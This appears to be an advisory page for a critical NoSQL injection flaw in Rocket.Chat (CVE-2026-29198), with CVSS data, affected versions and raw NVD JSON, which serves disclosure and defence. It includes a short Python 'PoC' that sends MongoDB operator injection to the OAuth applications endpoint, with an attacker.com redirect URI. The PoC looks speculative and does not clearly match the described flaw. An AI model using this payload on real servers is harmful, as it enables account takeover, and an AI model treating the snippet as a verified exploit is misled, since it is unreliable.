Security Vulnerability Report
中文
CVE-2026-29198 CVSS 9.8 CRITICAL

CVE-2026-29198

Published: 2026-04-23 00:16:45
Last Modified: 2026-05-13 20:39:45

Description

In Rocket.Chat <8.3.0, <8.2.1, <8.1.2, <8.0.3, <7.13.5, <7.12.6, <7.11.6, and <7.10.9, a NoSQL injection vulnerability can lead to account takeover of the first user with a generated token when an OAuth app is configured.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:* - VULNERABLE
Rocket.Chat < 8.3.0
Rocket.Chat < 8.2.1
Rocket.Chat < 8.1.2
Rocket.Chat < 8.0.3
Rocket.Chat < 7.13.5
Rocket.Chat < 7.12.6
Rocket.Chat < 7.11.6
Rocket.Chat < 7.10.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target-rocketchat/api/v1/oauth.applications" headers = {"Content-Type": "application/json"} # Malicious payload demonstrating NoSQL injection syntax # Attempting to bypass logic or extract token via MongoDB operators payload = { "applicationName": {"$ne": ""}, "redirectUri": "http://attacker.com", "active": True } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent, check if token is leaked in response.") print(response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29198", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:45.060", "lastModified": "2026-05-13T20:39:44.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Rocket.Chat <8.3.0, <8.2.1, <8.1.2, <8.0.3, <7.13.5, <7.12.6, <7.11.6, and <7.10.9, a NoSQL injection vulnerability can lead to account takeover of the first user with a generated token when an OAuth app is configured."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.10.9", "matchCriteriaId": "5A86BCA2-5A24-4B8A-82D8-081A5176C761"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.11.0", "versionEndExcluding": "7.11.6", "matchCriteriaId": "99AFFE2A-1F97-437F-988C-0F4422846406"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.12.0", "versionEndExcluding": "7.12.6", "matchCriteriaId": "526F29DC-2935-47A8-9AB0-87A59566224C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.0", "versionEndExcluding": "7.13.5", "matchCriteriaId": "C4E95AE6-A8D2-4372-8FF6-10C0854D8970"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "8F9EF75A-7697-4B25-B15F-ECA61409E0EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2", "matchCriteriaId": "1F32DB15-3E9D-4572-BF9A-4E657EC060F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.1", "matchCriteriaId": "940DA170-88EF-44BD-848C-D2DE08A679D9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:8.3.0:rc0:*:*:*:*:*:*", "matchCriteriaId": "8974643D-1E5C-4853-80A8-FA441D50C045"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:8.3.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D7552BC2-4389-4E16-8DE6-916B179B9A2F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:8.3.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "8AD12B11-91D5-4E5D-8718-58B7C14B85C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:8.3.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "AFB9F6CC-A3C3-4098-B8F7-F259DDFC9F77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rocket.chat:rocket.chat:8.3.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "DF5447A1-6E23-42F3-B337-FBE82E89B5D1"}]}]}], "references": [{"url": "https://github.com/RocketChat/Rocket.Chat/pull/39492", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://hackerone.com/reports/3564655", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}